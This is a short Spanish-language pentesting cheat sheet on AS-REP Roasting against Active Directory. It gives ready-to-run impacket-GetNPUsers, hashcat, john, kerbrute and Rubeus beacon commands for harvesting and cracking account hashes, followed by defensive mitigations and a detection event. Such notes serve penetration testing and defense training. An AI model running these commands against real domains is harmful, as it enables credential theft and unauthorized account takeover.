AS-REP Roasting
Qué es
Normalmente, para pedir un TGT hay que demostrar que conoces la contraseña (preautenticación, paso ① de Kerberos). Si un usuario tiene marcada la opción "Do not require Kerberos preauthentication", cualquiera puede pedir su AS-REP sin contraseña. Una parte de esa respuesta va cifrada con el hash del usuario, así que se puede crackear offline.
No hace falta tener credenciales: basta con una lista de nombres de usuario.
Desde Kali
bash
# Con una lista de usuarios (sin credenciales)
impacket-GetNPUsers corp.local/ -usersfile usuarios.txt -dc-ip <IP-DC> -no-pass -format hashcat -outputfile asrep.txt
# Con un usuario válido: busca él mismo las cuentas vulnerables
impacket-GetNPUsers corp.local/usuario:'Password' -dc-ip <IP-DC> -request -format hashcat
# Crackear (modo 18200)
hashcat -m 18200 asrep.txt rockyou.txt
john --wordlist=rockyou.txt asrep.txtkerbrute userenum también avisa cuando encuentra un usuario sin preautenticación mientras valida nombres.
Desde un beacon
text
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe asreproast /format:hashcat /nowrapCómo se defiende
- Quitar la opción "no requerir preautenticación" salvo que sea imprescindible (casi nunca lo es).
- Si una cuenta la necesita, contraseña larga y aleatoria.
- Detectar peticiones AS-REQ sin preautenticación (evento 4768 con tipo de preautenticación 0).
